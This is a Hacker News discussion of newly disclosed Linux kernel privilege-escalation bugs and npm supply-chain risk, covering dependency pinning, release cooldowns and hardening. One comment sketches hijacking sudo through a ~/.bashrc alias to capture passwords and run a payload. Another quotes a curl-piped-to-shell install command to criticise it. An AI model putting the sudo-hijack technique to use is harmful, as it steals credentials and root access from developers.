clbrmbr 5mo ago
So what do we do? Pin our dependencies (to hashes when possible), and only update when there are CVEs? But problem is this could lead to abuse of the CVE system to try to force rapid adoption of attacked packages. What prevents this?
- throawayonthe 5mo ago
  Nothing :D
- papichulo2023 5mo ago
  Run everything as sudo so they cant escalate any further ;)
  - clbrmbr 5mo ago
    Do you know if this exploit works on Docker containers? And if so, I assume it just allows escalation WITHIN the container? So this attack is scary for Linux desktops and servers, but a fully containerized system like common on CI/CD should be good. Right?
moebrowne 5mo ago
For anyone who is running an out-of-support version of Ubuntu (Ubuntu 20 and lower) I highly recommend Ubuntu Pro it gives access to updates and is free for personal use
XCabbage 5mo ago
Sorry, I don't get it. What's the chain of reasoning that connects "there are a couple of new Linux local privilege escalation exploits" to "don't install any new software"? Is the threat we're supposed to be concerned about here just a package maintainer publishing malware that uses these exploits? (Naively, not knowing much about apt-get or yum or other OS package managers, I have always assumed that 1. only a handful of trusted people can publish to the default repos for system package managers and 2. that since I have to run `apt-get install` as root anyway, package installers can completely pwn my system if they want to and I am protected purely by trust. Is some of that wrong? If it's right, isn't it nonsensical to be any more worried about installing new packages in light of these vulns?)
- roskilli 5mo ago
  Well one thing is, there are package updates that could masquerade a backdoor much like XZ Utils[1]. The post in question points to dependency package managers however not system packages, such as NPM, which has pre and post build scripts, install scripts, etc. [1] https://en.wikipedia.org/wiki/XZ_Utils_backdoor https://en.wikipedia.org/wiki/XZ_Utils_backdoor
- ekjhgkejhgk 5mo ago
  [flagged]
  - yreg 5mo ago
    You should in regards to computer security.
  - john_strinlai 5mo ago
    for unknown-to-me reasons, the overlap between furries and some of the smartest security people in the world is way more than you would think and even if it wasnt, this is about as sensible as not taking advice from left-handed people (i.e. completely nonsensical).
thot_experiment 5mo ago
Speaking of, LTT posted a video about DDR pad, which triggered the sleeper cell programming of my youth and I opened up StepMania to play a few rounds. I was shutting down the program and I noticed the build info in the corner. 6-19-2005 My copy of StepMania is turning old enough to drink in like a month and it's still fantastic, software updates are (mostly) a scam.
grey-area 5mo ago
Alternatively, maybe you shouldn’t have so many dependencies.
mghackerlady 5mo ago
Or, just install OpenBSD or (or FreeBSD if you're willing to sacrifice a chunk of security for nvidia, jails, and bhyve)
harrouet 5mo ago
If there is any learning from the AI craze, it is that there is no coming back on the pace of breach discoveries. Sure we've just faced an acceleration phase and a wave of patches will follow before settling in. But where we used to find x zero-day per million LoC, we will now find 10x ZD/MLoC. [hopefully detection will become part of CI so that number may vary] So, we will have more disasters waiting to happen. Assume that they will happen. My #1 recommendation is to curate a list of the auth tokens that you use (keep the list, not the actual tokens in a central place...), and be ready to rotate them as automatically as possible. You already have backups. Know how to rotate all your credentials. Write some scripts. Get ready. It will happen.
assanineass 5mo ago
[dead]
mtam 5mo ago
Genuinely curious why are tools like ChainGuard not more prevalent? I am sure there open source alternatives for it too.
giwook 5mo ago
I installed LuLu recently and it's been nice to have that extra peace of mind. Obviously it's not a silver bullet, but it is a nice tool to have as part of a broader defensive, preventative posture. I'm not associated with the project in any way and am very much open to other suggestions, either as an alternative to LuLu or to complement it. https://objective-see.org/products/lulu.html https://objective-see.org/products/lulu.html
shevy-java 5mo ago
> Outside of Linux kernel patches from your distro, I think it's probably a good idea to put a moratorium on installing new software for a week or so. This makes no sense. So, copy.fail refers to a linux kernel problem, yes? A local instructor showed it to us, e. g. by using python to become superuser. Well ... does this mean that a computer system is useless, because of that bug? No. Besides, people can patch it already, so while that is indeed a huge bug as such, it does not mean it makes people's computer useless at all. But, even ignoring this ... why would we now AVOID installing new software" for a bit? What rationale is given here? The rationale was given "because of ... uhm ... npm supply chain attacks": "Right now would be one of the best times for a supply chain attack via NPM to hit hard. Outside of Linux kernel patches from your distro, I think it's probably a good idea to put a moratorium on installing new software for a week or so." Well, many computer systems won't even have npm installed. Besides, if they do, they should be well aware of npm having had issues for such a long time. left-pad is still the funniest one of all tims IMO, or among top three. copy.fail is not funny - it is almost so simple that it is stupid, which kind of makes this an epic fail indeed, and that AI found it also kind of means that skynet won. Humans won't find as many weaknesses as AI skynet will. But just because of such an exploit and npm sucking, why would this mean I should ... arbitrarily stop compiling any new software? THAT MAKES ABSOLUTELY NO SENSE AT ALL. That "rationale" is not a rationale. That is just an opinion, without any real argument to be had. If the issue is serious, patch the linux kernel. End of story. No need to have a "moratorium" on installing new software. The "for a bit" makes no sense anymore than "for 50 days" or any other arbitrary number. xeiaso is not THINKING here.
hn_throwaway_99 5mo ago
I always wondered why it wasn't super easy to have a version specification in NPM that basically said "give me the latest version of this dependency as of X weeks ago". That is, hijacked modules usually were revealed within a week, and there are some groups (like security researchers) that are fine with being on the bleeding edge, but a lot of more conservative companies would rather hold back a week or two. I know there are extensions and proxies you can set up that do this, but it just seems like it should be built in to NPM directly (maybe it has, I haven't been up on Node programming in the last couple years).
- davidjkerber 5mo ago
  Just sharing for awareness, NPM does support that as of February: https://socket.dev/blog/npm-introduces-minimumreleaseage-and-bulk-oidc-configuration https://socket.dev/blog/npm-introduces-minimumreleaseage-and... It must have been a very quiet announcement because I just found out about it this week.
  - hn_throwaway_99 5mo ago
    Thanks, didn't know this was added!
looneysquash 5mo ago
That sounds like it wouldn't scale. If everyone did it, then it would just delay things.
- abustamam 5mo ago
  True, but not everyone will do it. The intention isn't to scale, it's to save your own ass.
abustamam 5mo ago
This advice is good even if there weren't security vulnerabilities. When I was a junior engineer I'd install a bunch of packages just willy nilly. My manager was like "stop installing packages for simple things. Just learn how they work and code it yourself." I've done that ever since. Of course, I still use packages like express and tailwindcss. But in the era of LLMs, using a package for something like react drop-downs is unnecessary.
dzonga 5mo ago
instead of using downloading software via npm (in case of your computer being taken over there's a secure option provided by the web - no build - scripts at the top / bottom of the page they're executed in a secure sandbox
junto 5mo ago
Reminds me of the old adage “I don’t need to outrun the bear. I just need to outrun you.” Once everyone takes the stance of waiting 2 weeks, we are all back to the same situation. I don’t like the suggestion to “wait for others to be the unfortunate victims, so that I can benefit from their misfortune”. Surely there’s a better way.
happyPersonR 5mo ago
With mandatory auto updates and software that don’t pin dependencies being the norm, most of us have no choice in the matter really. We’re not downloading new firmware and installing for a lot of things it’s all getting pulled in automatically.
asdfman123 5mo ago
Genuine question: I wonder if AI coding is responsible for the new exploits coming to light. AI coding is great at is helping you try out things you wouldn't have the time or energy to normally do. It shines for writing scripts that aren't part of a larger codebase, and helping with boring, rote tasks. Hackers are also very motivated to use new tools to find any kind of opening (unlike normal devs who aren't always as... motivated :).
Melatonic 5mo ago
This is why I usually try to lean toward software versions with LTS (Long Term Stable) versions - especially if they are more minimalist / run leaner. Theoretically you get all the security patches (if needed - of course you can vet updates still and test) and less bugs and vulnerabilities through less new features. Reducing attack surface and software complexity will (theoretically) reduce the number of possible exploits regardless of what new tool or process attackers discover.
Schlagbohrer 5mo ago
I juuuuuust updated npm, should i be worried?
epolanski 5mo ago
Is the current situation a positive for commercial Linux distros that focus on security?
Steinmark 5mo ago
[dead]
mammamia1 5mo ago
[dead]

854 points by psxuaw 5mo ago

rvz 5mo ago

If you are on Linux that is.

cyanydeez 5mo ago

[flagged]

_--__--__ 5mo ago
? This is related to a vulnerability that was introduced to the Linux kernel in 2017.
ChrisClark 5mo ago
What?

femiagbabiaka 5mo ago

Yes, and, for non-personal machines or anything connected to the internet: now is a great time to get good at rolling out patches and new releases quickly.

Gigachad 5mo ago
The proof of concept code is out before patches are available for any distro.
- femiagbabiaka 5mo ago
  Perhaps it's time to switch to paradigms that allow faster patch generation, application, and rollout... like Nix.

cookiengineer 5mo ago

Fun fact: You still can't build the vllm container with updated dependencies since llmlite got pwned. Either due to regression bugs, or due to impossible transient dependencies in the dependency tree that are not resolvable. There is just too much slopcode down the line, and too many dependencies relying on pinned outdated (and unpublished) dependencies. I switched to llama.cpp because of that. To me it feels more and more that the slopcode world is the opposite philosophy of reproducible builds. It's like the anti methodology of how to work in that regard. Before, everyone was publishing breaking changes in subminor packages because nobody adhered to any API versioning system standards. Now it's every commit that can break things. That is not an improvement.

2ndorderthought 5mo ago
Write only code is such a bad bad idea. No one is reviewing 20k loc PRS with 15 new dependencies in an afternoon. Sorry it's just not happening I don't care how many years you have been a software engineer. Yet that's the new thing and how we all are supposed to work or else we are all Luddites.
- perching_aix 5mo ago
  I'm personally waiting to be downgraded to simply being called "lazy". When I see pages of obviously generated prose being submitted as any kind of documentation, my eyes just glaze over. I feel so guilty sharing similar stuff too, though to my credit, at least I always lead with a self-written TLDR, the slop is just for reference. But it's so bad, like genuinely distressing tier. I don't want to read all that junk, and more and more gets produced. Prose type docs have always been my Achilles heel, and this is like the worst possible evolution of that. For a brief period in the past few weeks, they somehow managed to make a change to ChatGPT Thinking that made it succint. The tone was super fact oriented too. It was honestly like waking up from a fever dream.
cybercatgurrl 5mo ago
slopcode is a pejorative that means nothing to me. if you have an actual criticism to make, then do it

fkarg 5mo ago

the lottery of either getting a new supply-chain attack or the fixes from Mythos with every single update

cbarnes99 5mo ago

It really pisses me off that responsible disclosure timelines are being ignored.

roxolotl 5mo ago
The dirty frag repo says: > Because the responsible disclosure schedule and the embargo have been broken, no patch exists for any distribution. I had to do a double take reading that. It’s written something happened and prevented them from following a schedule but seemingly they chose to release the information. I hope I’m missing something where it was forcibly disclosed elsewhere. Edit: Moments later I refreshed the homepage and saw the announcement. They do claim to have consulted with maintainers
- rafram 5mo ago
  > Due to external factors, the embargo has been broken, so no patch exists for any distribution. Very odd wording. I assume there’s an interesting/upsetting story here that will come out soon.
  - tom_ 5mo ago
    Presumably: * https://github.com/V4bel/dirtyfrag/blob/master/assets/write-up.md#disclosure-timeline https://github.com/V4bel/dirtyfrag/blob/master/assets/write-... * https://github.com/V4bel/dirtyfrag/blob/master/assets/write-up.md#disclosure-timeline-1 https://github.com/V4bel/dirtyfrag/blob/master/assets/write-...
bellowsgulch 5mo ago
if you don't already consider responsible disclosure a quaint idea, you may want to grow warm on it the idea that it exists at all is more or less a gentleman's agreement in the engineering world anyway
- Root_Denied 5mo ago
  Less a gentleman's agreement and more of a question of economic incentives going away. Companies aren't paying out bounties at the rates they used to (possibly because they've realized there's little financial incentive to do so for most findings) and simultaneously they're being inundated with AI slop findings that somehow have to still be triaged and evaluated.

cperciva 5mo ago

Alternatively, switch to an operating system like FreeBSD which doesn't take a YOLO approach to security. Security fixes don't just get tossed into the FreeBSD kernel without coordination; they go through the FreeBSD security team and we have binary updates (via FreeBSD Update, and via pkgbase for 15.0-RELEASE) published within a couple minutes of the patches hitting the src tree. (Roughly speaking, a few seconds for the "I've pushed the patches" message to go out on slack, 10-30 seconds for patches to be uploaded, and up to a minute for mirrors to sync).

eahm 5mo ago
Also funny they never show Debian in those tests/videos.
- juujian 5mo ago
  How so?
  - deleted 5mo ago
    [deleted]
    - deleted 5mo ago
      [deleted]
    - deleted 5mo ago
      [deleted]
- cperciva 5mo ago
  Debian is probably the best of all the Linuxes, but still suffers from split-brain: If patches are sent upstream first, Debian can't start digesting them until they're already public. With FreeBSD there's never any question of "who should this get reported to".
  - JoshTriplett 5mo ago
    > Debian can't start digesting them until they're already public Not sure what you mean by this. Debian is able to handle coordinated disclosures (when they're actually coordinated), and get embargoed security updates out rapidly without breaking the embargo. Is there some other aspect of this that you're referencing?

throwaway613746 5mo ago

[dead]

AgentME 5mo ago

There's already an okay solution to supply-chain attacks against dependency managers like npm, PyPI, and Cargo: set them to only install package versions that are more than a few days old. The recent high-profile attacks were all caught and rolled back within a day, so doing this would have let you safely avoid the attacks. It really should be the default behavior. Let self-selected beta testers and security scanner companies try out the newest versions of packages for a day before you try them. Instructions: https://cooldowns.dev/ https://cooldowns.dev/

b112 5mo ago
So you get security updates late too? Many vulnerabilities are in the wild for years before being noticed, and patched. Once noticed, that's where the exploit explosion erupts, excited exploiters everywhere, emboldened... enticed... excessively encouraged, by your delayed updates.
- ayuhito 5mo ago
  At least with our Renovate config, all dependencies have a 7 day cooldown, but marked security updates are immediate. Attackers can’t push a security update without going through the reporting process (e.g. Github CVE), so they can’t necessarily abuse that easily.
- AgentME 5mo ago
  Presumably npm exempts security updates from its minimum release age, but even if it doesn't, I think the times where you need an important security update are relatively rare enough that handling the real cases on a case-by-case basis with whitelisting is fine. Outside of Next.js's React2Shell vulnerability last year, I'm not sure I've ever had a security update of a dependency written in a memory-safe language (ie. not C/C++) which I've installed through npm/PyPI/Cargo that patched a security vulnerability that had been making my application exploitable to others in practice. Almost all security vulnerabilities I've personally seen flagged through npm are about things I only use at build-time and are only relevant if a user can create and pass an arbitrary object to the function, which is rarely the case. Most security vulnerabilities I've encountered and fixed in working on web apps were things like XSS, SQL injections, and improperly enforced permissions, and they nearly always happened in the application's own code rather than inside a dependency.

mistyvales 5mo ago

Fedora upgrades have usually been great, but I jumped the gun on Fedora 44. Sound completely dead with no Pipewire service available. ALSA not responding. Firefox dies immediately if I open a new tab or right click anywhere on the browser itself (inlcuding nightly builds). QEMU refuses to load. Maybe something got completely f'd in the upgrade process.. I never had an issue before having upgraded from Fedora 38 all the way to 43. I am too tired to investigate it all. I know this is unrelated to the article, but related to the title.

dralley 5mo ago
I have had none of those issues on Fedora 44, FWIW.
- senectus1 5mo ago
  ditto. my upgrade from 43 - 44 went very smooth
  - mistyvales 5mo ago
    Turns out it was a pipewire.conf file causing some sort of crash (nothing in logs show anything). If I remove that file, everything works. FYI this was on a laptop that began life from version 42. My main PC started out on 38 and has made it to 43 with no problems (including a motherboard swap).. will be updating to 44 this weekend.
cevn 5mo ago
I had a day 1 crashloop with KWin on the 2nd desktop, but on day 2 some package update fixed it. Honestly it isn't the first time Fedora upgrades have messed something up for me either but I do think it's more stable than the average Ubuntu release, not that I've upgraded ubuntu in like 5 yrs.
circularfoyers 5mo ago
If this is still the same install that you've been using since 38, you might find a clean install resolves some issues (whether or not your upgrade got botched). Also helps me get rid of software I installed that I don't use anymore, which I feel is relevant to this article. But part of why I love Silverblue so much is I don't have to worry about upgrades getting botched and fwiw as well, I haven't noticed any of those bugs on 44 across several very different machines.

jauntywundrkind 5mo ago

I do a bit wonder what happens as standard practice becomes to lag more and more and more. Who is there left that's looking, that'd finding out?

cybercatgurrl 5mo ago
you raise a really good point. if everyone is doing this at exactly the same lag then it will eventually start hitting groups in sync at the exact same time
ayuhito 5mo ago
I think there’s already a big market of supply chain security companies that are proactively scanning dependencies for this sort of thing. They’re always racing to be the first one to write an article about a case.

anymouse123456 5mo ago

For the newer players who have gotten into continuous integration and containerized builds, consider checking on your systems to be sure you're not pulling 'latest' across a bunch of packages with every build. We set up our base containers with all the external dependencies already in them and then only update those explicitly when we decide it's time. This means we might be a bit behind the bleeding edge, but we're also taking on a lot less risk with random supply chain vulns getting instant global distribution.

anymouse123456 5mo ago
You'll also find your CI build times and flakey failures can be cut down massively by doing this.
pjmlp 5mo ago
Additionally, use only internal repos.
Melatonic 5mo ago
Sounds like a good time to setup a test environment that does pull latest!

jbrooks84 5mo ago

100% doing this, sadly

0xbadcafebee 5mo ago

"Wait a week to install software" does not work. Just a few months ago a massive exploit hit the web, which was a timed attack which sat for more than a month before executing. If everyone starts waiting a week, their exploits will wait 2 weeks. Cyber criminals do not need to exploit you immediately, they just need to exploit you. (It also doesn't change a large range of vuln classes like typosquatting)

fny 5mo ago
This is why cooldowns have space for patches.
tom_alexander 5mo ago
I think the author was suggesting "wait a week" as a one-time wait for fixes to be written and patches distributed for these specific prematurely-disclosed vulnerabilities, not an on-going suggestion for delaying all updates. But otherwise I agree with you.
- xena 5mo ago
  Yep, that was my intent.
  - Barbing 5mo ago
    Oh! Not GP but skimmed too quickly
gpm 5mo ago
I think you misunderstood the article. The proposal isn't wait a week after Software has been published before installing it. It's in the next seven days starting now, just don't, because you probably don't have patches for these vulnerabilities and even if you do there's probably more scary vulnerabilities about to be discovered.
- hnfong 5mo ago
  I think it's even more specific. From TFA: > Right now would be one of the best times for a supply chain attack via NPM to hit hard. Given the local kernel root exploits, people pulling npm dependencies have an extra high chance of getting rooted. This includes test systems, build systems, the web server running node.js backend, etc. etc. etc. This means that there is a significantly greater chance that whatever software you download (not necessarily npm-based) on the internet in these couple days has been unknowingly infected with backdoors, simply due to the fact that the vast majority of servers out there that use npm code have easily exploitable vulnerabilities.

q3k 5mo ago

You don't need a kernel LPE to root a Linux developer machine. Just alias sudo to sudo-but-also-keep-password-and-execute-a-payload in ~/.bashrc and wait up to 24 hours. Maybe also simulate some breakage by intercepting other commands and force the user to run 'sudo systemctl' or something sooner rather than later.

himata4113 5mo ago
this, this is something I don't understand there are a billion ways to gain root once you control the user that regulary uses sudo. this is only scary for rootless containers as it skips an isolation layer, but we've started shipping distroless containers which are not vulnerable to this due to the fact that they lack priviledge escalation commands such as su or sudo. never trust software to begin with, sandbox everything you can and don't run it on your machine to begin with if possible.
- TacticalCoder 5mo ago
  > this, this is something I don't understand there are a billion ways to gain root once you control the user that regulary uses sudo. I won't enter into all the details but... It's totally possible to not have the sudo command (or similar) on a system at all and to have su with the setuid bit off. On my main desktop there's no sudo command there are zero binaries with the setuid bit set. The only way to get root involves an "out-of-band" access, from another computer, that is not on the regular network [1]. This setup as worked for me since years. And years. And I very rarely need to be root on my desktop. When I do, I just use my out-of-band connection (from a tiny laptop whose only purpose is to perform root operations on my desktop). For example today: I logged in as root blocked the three modules with the "dirty page" mitigation suggested by the person who reported the exploit. You're not faking sudo with a mocking-bird on my machine. You're not using "su" from a regular user account. No userns either (no "insmod", no nothing). Note that it's still possible to have several non-root users logged in as once: but from one user account, you cannot log in as another. You can however switch to TTY2, TTY3, etc. and log in as another user. And the whole XKCD about "get local account, get everything of importance", ain't valid either in my case. I'm not saying it's perfect but it's not as simple as "get a local shell, wait until user enters 'sudo', get root". No sudo, no su. It's brutally simple. And, the best of all, it's a fully usable desktop: I'm using such a setup since years (I've also got servers, including at home, with Proxmox and VMs etc., but that's another topic).

marcus_holmes 5mo ago

This was always a nightmare waiting to happen. The sheer mass of packages and the consequent vast attack surface for supply chain attacks was always a problem that was eventually going to blow up in everyone's face. But it was too convenient. Anyone warning about it or trying to limit the damage was shouted down by people who had no experience of any other way of doing things. "import antigravity" is just too easy to do without. Well, now we're reaching the "find out" part of the process I guess.

amelius 5mo ago
lim (num_packages_in_system -> inf) p(successful_supply_chain_attack) = 1
tclancy 5mo ago
So, to play Pandora, what if the net effect of uncovering all these unknown attack vectors is it actually empties the holsters of every national intelligence service around the world? Just an idea I have been playing with. Say it basically cleans up everything and everyone looking for exploits has to start from scratch except “scratch” is now a place where any useful piece of software has been fuzz tested, property tested and formally verified. Assuming we survive the gap period where every country chucks what they still have at their worst enemies, I mean. I suppose we can always hit each other with animal bones.
- xingped 5mo ago
  TBH this is a pretty good way of looking at it. Yeah we're seeing an explosion of vulnerabilities being found right now, but that (hopefully) means those vulnerabilities are all being cleaned up and we're entering a more hardened era of software. Minus the software packages that are being intentionally put out as exploits, of course. Maybe some might say it's too optimistic and naive, but I think you have a good point.
  - anankaie 5mo ago
    To be fair, to some extent that’s up to us. Time to get cleaning, I guess.

KevinMS 5mo ago

I got rid of half of my VSCode extensions a couple days ago, its too risky.

BobbyTables2 5mo ago
Those things scare the crap out of me… Even worse are the “extension packs” that combine some normal things and one wonky thing nobody’s ever heard of…

andai 5mo ago

Can someone help me understand the copyfail thing and how it relates to NPM packages? Edit: I think I understand. copyfail is a kernel bug that lets a malicious npm package get root access on your Linux server, right? So now, while there are unpatched servers, is when it would be the perfect time for attackers to target NPM packages. And the advice isn't just "update your kernel" because we are still finding new related issues?

xena 5mo ago
npm can run on linux.
ahpeeyem 5mo ago
NPM supply-chain attacks spread really quickly. If a popular NPM package was compromised and included a copy.fail exploit, it would make lots of systems vulnerable to root privilege escalation.
wavemode 5mo ago
> And the advice isn't just "update your kernel" because we are still finding new related issues? The advice isn't just "update your kernel" because there is no update. The latest vulnerability (the one discovered after copy.fail) still has no fix.
Gigachad 5mo ago
The patches for the latest vulnerabilities aren’t even out yet. So it would be a real bad time for a new supply chain attack since it would get root on pretty much every system.

infrapilot 5mo ago

[flagged]

leonidasv 5mo ago

The post is about Linux vulnerabilities, but given the recent supply chain attacks, I'd be especially careful with Homebrew: https://x.com/i/status/2052106143271354859 https://x.com/i/status/2052106143271354859

nomilk 5mo ago
Often convenience and security are at odds, but `export HOMEBREW_NO_AUTO_UPDATE=1` is more convenient and more secure.
- cromka 5mo ago
  Problem here is Brew does things in an anti-unix way by default, the auto updating of packages being the prominent reason. I personally switched away from macOS with this being one of the reasons, after having realized brew will eventually compromise my system with their antics.

infrapilot 5mo ago

[flagged]

arc-in-space 5mo ago
Blatant bot

foo12bar 5mo ago

Don't install anything, use an LLM to write everything from scratch. It may have bugs, but no one will know how to exploit them, especially when closed source. Code is cheap and is becoming cheaper by the day. We need new paradigms.

randyrand 5mo ago
Next: the back doors are written by the LLM!
- foo12bar 5mo ago
  You think we are doing well against back doors right now? Pfft.
Gigachad 5mo ago
LLMs have been used to scan binary blobs for exploits already. What would be more effective is a system designed with multiple layers of security so any one exploit is largely useless.
- foo12bar 5mo ago
  They would have to have access to and scan your individual binary. You'd have to describe how you can write a system with multiple layers of security generally for most problems, because I don't see that as being possible.
Wilder7977 5mo ago
So no external libraries for anything? Billions of lines of code that duplicate the same thing n-times across an organization? And the benefit is the obscurity of "no one will know how to exploit them"? No, thanks.
- foo12bar 5mo ago
  Code is becoming so cheap that all you need is a bunch of api's for hardware and your computer will build to that spec. And you can define it in natural language.

golem14 5mo ago

This gets me to ask whether I have been hacked . For a few weeks now, both my main mbp and iPhone have been showing unexpected hangs of 1-30 seconds. I can’t find out what’s causing it - not memory pressure, not cpu load. I am worried that the sluggishness appeared about the same time on both devices

Gigachad 5mo ago
For ios, rebooting your phone is extremely effective at removing exploits. The boot chain attestation stuff can verify the system is in a known state. If you are ultra paranoid you could enable lockdown mode which preemptively disables the entrypoints for exploits. So far I don't believe there has been any exploit which works with lockdown mode enabled.
- Georgelemental 5mo ago
  If you are already exploited though, I doubt it helps
  - Gigachad 5mo ago
    It does though, the exploit exists in memory. When you reboot the phone the memory is reset, if it's modified system files, the checksums won't pass and your phone will refuse to boot. Requiring it to be wiped and reinstalled. These days most exploits can not persist through a reboot due to secureboot and other bootchain attestations. In the boot process, everything loaded gets checksummed and compared to signed signatures from Apple, but this only helps at load time, not while the phone is running. Of course if the phone is not patched, the exploit could be reloaded, but this would require revising a malicious website or reopening a malicious bit of media.
    - Georgelemental 5mo ago
      Sorry, I was referring to Lockdown Mode specifically, should have clarified that
  - 5mo ago

Animats 5mo ago

I'm holding off on upgrading to Ubuntu 26.04 LTS until we have a few months of experience with the new release. Canonical just had a huge DDOS attack, and there might have been other attacks hidden in all that traffic.

turpentine 5mo ago
There are at least two recent negative signals. https://news.ycombinator.com/item?id=47943499 https://news.ycombinator.com/item?id=47943499 - 44 CVEs trying to replace coreutils with a greenfield rust rewrite. https://news.ycombinator.com/item?id=47921079 https://news.ycombinator.com/item?id=47921079 - Shoehorning AI stuff into Ubuntu is the future.

xbar 5mo ago

It seems like this round of vulns is going to be significant. What is the right response?

Gigachad 5mo ago
Personally I'm choosing to keep my home server behind a VPN and to enable Lockdown Mode on my phone and laptop for a while until the dust settles. As well as just limiting the software installed to trusted projects only. VM isolation would still be safe even with these kernel exploits.

marvinified 5mo ago

I've been doing alot of that lately

chubs 5mo ago

To mitigate supply chain attacks like this, I've taken to specifying exact versions in my Rust cargo.toml, and when importing new crates, select the previous-to-latest version. Is this a reasonable mitigation? It bugs me that Swift deprecates the concept of specifying exact versions, it actively pushes you towards semver which leaves the door open to this.

mattstir 5mo ago
> select the previous-to-latest version For supply chain attacks that simply bide their time, or for dependencies which involve interacting with other subsystems, it's possible you miss a critical security update by doing this. Of course, the maintainers of the crates should yank known bad releases, but that's putting trust in a third-party that may have already been compromised.
kam 5mo ago
Cargo will still pick the latest for transitive dependencies that aren't explicitly specified in your Cargo.toml. This is what Cargo.lock is for.
- chubs 5mo ago
  Oh good point, I didn't think of transitive dependencies. A lot of languages i've worked with unfortunately have a 'do not check in the lockfile' culture, and a common 'blow away the lockfile when the package manager gets stuck' workflow, so that does concern me. Perhaps Cargo is better than average though, and the lockfile never needs nuking, providing this safety. This sounds like a good reason to check in the lockfile! Thanks for the response.

tdeck 5mo ago

> Copy Fail 2: Electric Boogaloo What are people thinking with these meme style vulnerability names? It's going to be hard to pitch "we need to push back the timeline on this new infrastructure deploy while we mitigate Copy Fail 2: Electric Boogaloo".

dgellow 5mo ago
"we need to push back the timeline on this new infrastructure deploy while we mitigate Copy Fail 2". Problem solved

rablackburn 5mo ago

Literally implemented PR guards today to prevent the team merging any dependencies that didn’t have explicit versions pinned (and that matched the resolution in the lock file). People lamented semver not being trustable but that ship sailed a long time ago, and supply chain attacks are going to get worse before they get better. Our team is pretty minimal when it comes to enforced hooks (everyone has their own workflow) but no one could come up with an objection to this one.

clbrmbr 5mo ago
Wouldn’t you prefer to pin to SHA hashes? Or does your package manager cloud-side ensure immutability of releases?

pjmlp 5mo ago

Remember the whole discussion when UNIX was supposed to not need anti-virus and talking down PCs? Behaviours matter more than OS security primitives.

jeroenhd 5mo ago
The whole (mistaken) belief that Linux and macOS didn't require AV was based on the execute bit being present, something Microsoft fixed back in XP by making downloaded files as such and preventing them from being opened trivially. If you have code execution, you can attack the OS.
- pjmlp 5mo ago
  Indeed, when one installs dependencies all over the Internet, or even better, key projects use "curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs https://sh.rustup.rs | sh" as default suggestion on how to install them, attackers have the work done for them.
  - 1718627440 5mo ago
    > key projects use "curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs https://sh.rustup.rs | sh" as default suggestion This is exactly why some (including me) don't take these projects seriously. Like you claim to design a language for security, and this is how you tell me to install it????
    - TeamDman 5mo ago
      What alternative do you propose for downloading binaries off the internet, placing them in the "right spot" and doing post-install operations like updating PATH that dont have gotchas equivalent to running "untrusted" code like curl|sh?
      - 1718627440 5mo ago
        The one that is the norm on Linux distros and on nearly all mobile OSs: signed packages. 'curl | sh' doesn't even allow to observe the package while or after installing.

liamwei 5mo ago

[flagged]

leonidasrup 5mo ago

Maybe the new software should not have any errors. I know, I have higher expectations than the average commercial software customer.

Jean-Papoulos 5mo ago
Of course, why didn't anyone think of that ? I bet if someone started to ship software that has no errors they'll make a huge amount of money, especially from all the people that are security-minded ! Please grow a brain.
- leonidasrup 5mo ago
  There is currently only method to prove absence of errors, this method is not LLMs, it's formal verification methods. Currently only very little formal verification is used in software industry, static type checking.

bicepjai 5mo ago

I still can’t believe people are ok with software updates every day. Looking at you Claude code

sshine 5mo ago
It's a two-edged sword. You're damned if you do and damned if you don't update.

tjansen 5mo ago

I wonder whether there is any tool that can prevent npm from downloading any package that has been published in the last month. While I miss out on possible fixes, this would prevent downloading some 3rd level dep that takes over my machine.

lmiller1990 5mo ago
pnpm has this, I think others may also have something similar. https://pnpm.io/settings#minimumreleaseage https://pnpm.io/settings#minimumreleaseage
janekies 5mo ago
pnpm has added a new setting, minimumReleaseAge, enabled by default, just to try to mitigate these issues.
backwardsponcho 5mo ago
NPM seems to have introduced the flag `minimumReleaseAge` for this exact purpose. However even though are many recent references to it[0][1][2] I don't see it anywhere in the NPM documentation. [0] https://news.ycombinator.com/item?id=47513932 https://news.ycombinator.com/item?id=47513932 [1] https://github.com/npm/cli/issues/8570 https://github.com/npm/cli/issues/8570 [2] https://socket.dev/blog/npm-introduces-minimumreleaseage-and-bulk-oidc-configuration https://socket.dev/blog/npm-introduces-minimumreleaseage-and...

eskibars 5mo ago

"If it ain't broke, don't fix it" is its own area of risk that people often ignore

creesch 5mo ago
Except that a lot of software likely is already broken in fun ways we currently don't know about. That is what makes it such a "fun" challenge. Supply chain attacks are one thing, but CVEs in already released software allowing other attackers are another. As always, I know most of us work in IT, but things rarely are actually binary.

grayhatter 5mo ago

I dislike FUD like this :/

1a527dd5 5mo ago

This applies to much more than just software, in fact it applies to almost everything. I don't remember where I read it, but it basically boils down to need vs want. I've used that rule for deciding between a new car or used. A fancy vacuum or basic. A shiny new gadget. Bringing new things into the tech stack. Picking a new tech stack.

vga1 5mo ago

Maybe you should install new kernels at least though.

metaengies 5mo ago

Actively destructive opinion article. I could not begin to understand the rationale. It takes 45 seconds to go check how old the copyfail and dirtyfrag vulnerabilities actually are. Which is longer than it takes to read TFA. Dirtyfrag may be relevant to systems from as far as 2017. It's not "new" software being affected. And actual old software is in a much worse state because we had a lot more time to find their problems.

smallpipe 5mo ago
OP is suggesting that a supply chain attack would be bad now, and to reduce that risk by not installing/updating NPM packages.
pocksuppet 5mo ago
FYI copyfail and dirtyfrag are the same vulnerability activated by two different code paths. It's as if Windows had a vulnerability triggered by writing a certain string to a file. Copyfail is to write the string to a file. Dirtyfrag is to get another program to write the string to a file. When you fix the vulnerability - make sure nothing strange happens when the string is written - both go away at the same time.

yurug 5mo ago

At some point, some people will rebuild an entire stack (all layers, from OS to applications) with proof carrying code upgrades. Proof-code co-design and co-construction is the only way to execute code that you can trust.

mastermage 5mo ago

I think what we have to start accepting even security experts is that our world is incredibly fragile. I think people realy understimate this. And I do not mean just the IT world but the entire world is built on many incredibly fragile balances. Security Exploits will always exist. Not just in software but in real life. Heck someone managed to Sneak into a Security Conference. And that guy was a random youtuber. Granted that was not like a high security thing. But thats just an example I had of the top of my head. Basically it is realy easy to circumvent security in most cases. What I want to say with that is fundamentally our world works because atleast most people do not abuse shit. That is fundamentally how human society has always worked, and will likely continue to do so.

kaelyx 5mo ago
